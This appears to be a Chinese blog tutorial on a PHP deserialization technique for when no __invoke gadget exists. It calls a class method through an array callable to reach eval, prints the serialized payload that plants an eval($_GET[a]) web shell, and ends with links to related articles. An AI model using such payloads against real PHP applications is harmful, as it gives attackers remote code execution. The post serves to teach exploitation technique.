php反序列化漏洞中当不存在__invoke时的一种利用思路

存在这样两个类，找不到可以利用的__invoke时，如何获得shell

class a{public $code;public function __destruct(){$test=$this->code;$test();}
}class b{public $code;public function getshell(){eval($this->code);}
}

php中可以动态调用函数

$a="phpinfo";
$a();

通过这种方式可以调用phpinfo函数，如何通过这种方式调用类中的函数，经过测试，数组方式可以调用类中函数

class test
{public function aa(){echo "123";}
}
$ar=array(new test(),"aa");
$ar();

调用成功，执行了aa函数

接下来利用方式就简单了，通过常规反序列化利用方式利用即可

class a{public $code;public function __destruct(){$test=$this->code;$test();}
}class b{public $code;public function getInfo(){eval($this->code);}
}$q=new a();
$w=new b();
$w->code="eval(\$_GET[a]);";
$q->code=array($w,"getInfo");
echo serialize($q);

获得序列化结果

O:1:"a":1:{s:4:"code";a:2:{i:0;O:1:"b":1:{s:4:"code";s:15:"eval($_GET[a]);";}i:1;s:7:"getInfo";}}

反序列化成功获得shell

php反序列化漏洞中当不存在__invoke时的一种利用思路相关推荐

关于Flask框架中启动Scrapy爬虫框架时的几种问题的解决
最近开发的爬虫调度系统是由Flask框架提供接口,在Flask中启动Scrapy项目,开发期间遇到了几个问题,网上找找,自己也琢磨了好久,终于顺利解决.问题如下: 一.Scrapy.crawl指令找不 ...
ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞
0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...
网络安全课第六节反序列化漏洞的检测与防御
12 反序列化漏洞:数据转换下的欺骗上一讲介绍了 XXE 漏洞,它在业务场景中很容易用于读取敏感文件.进行代码执行,甚至也会用来渗透内网,也因此 XXE 漏洞常被当作一种严重漏洞来对待. 本讲我将介 ...
Fastjson 1.2.68版本反序列化漏洞分析篇
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室来源 | htt ...
PHP反序列化漏洞总结
一. 基础知识 1.什么是反序列化漏洞: 程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较 ...
JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞
文章目录 Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504 基础知识漏洞原理影响版本复现思路复现-CVE-2017-12149 1.特征检测 2.反弹shel ...
反序列化对象列表发生异常_通过反序列化漏洞，黑客能做什么呢？
在之前的文章中讲解了一个反序列化的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到Runtime.exec()来进行命令执行.换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了 ...
烽火狼烟丨Fastjson反序列化漏洞风险提示
1.漏洞概述近日,WebRAY安全服务产品线监测到Fastjson官方发布公告,修复了一个存在Fastjson1.2.80版本以及之前的版本的反序列化漏洞. Fastjson是一个由Java语言编写 ...
php7序列化,PHP内核层解析反序列化漏洞
前言在学习PHP的过程中发现有些PHP特性的东西不好理解,如PHP中的00截断,MD5缺陷,反序列化绕过__wakeup等等.本人不想拘泥于表面现象的理解,想探究PHP内核到底是怎样做到的. 下面是 ...

php反序列化漏洞中当不存在__invoke时的一种利用思路

php反序列化漏洞中当不存在__invoke时的一种利用思路相关推荐

最新文章

热门文章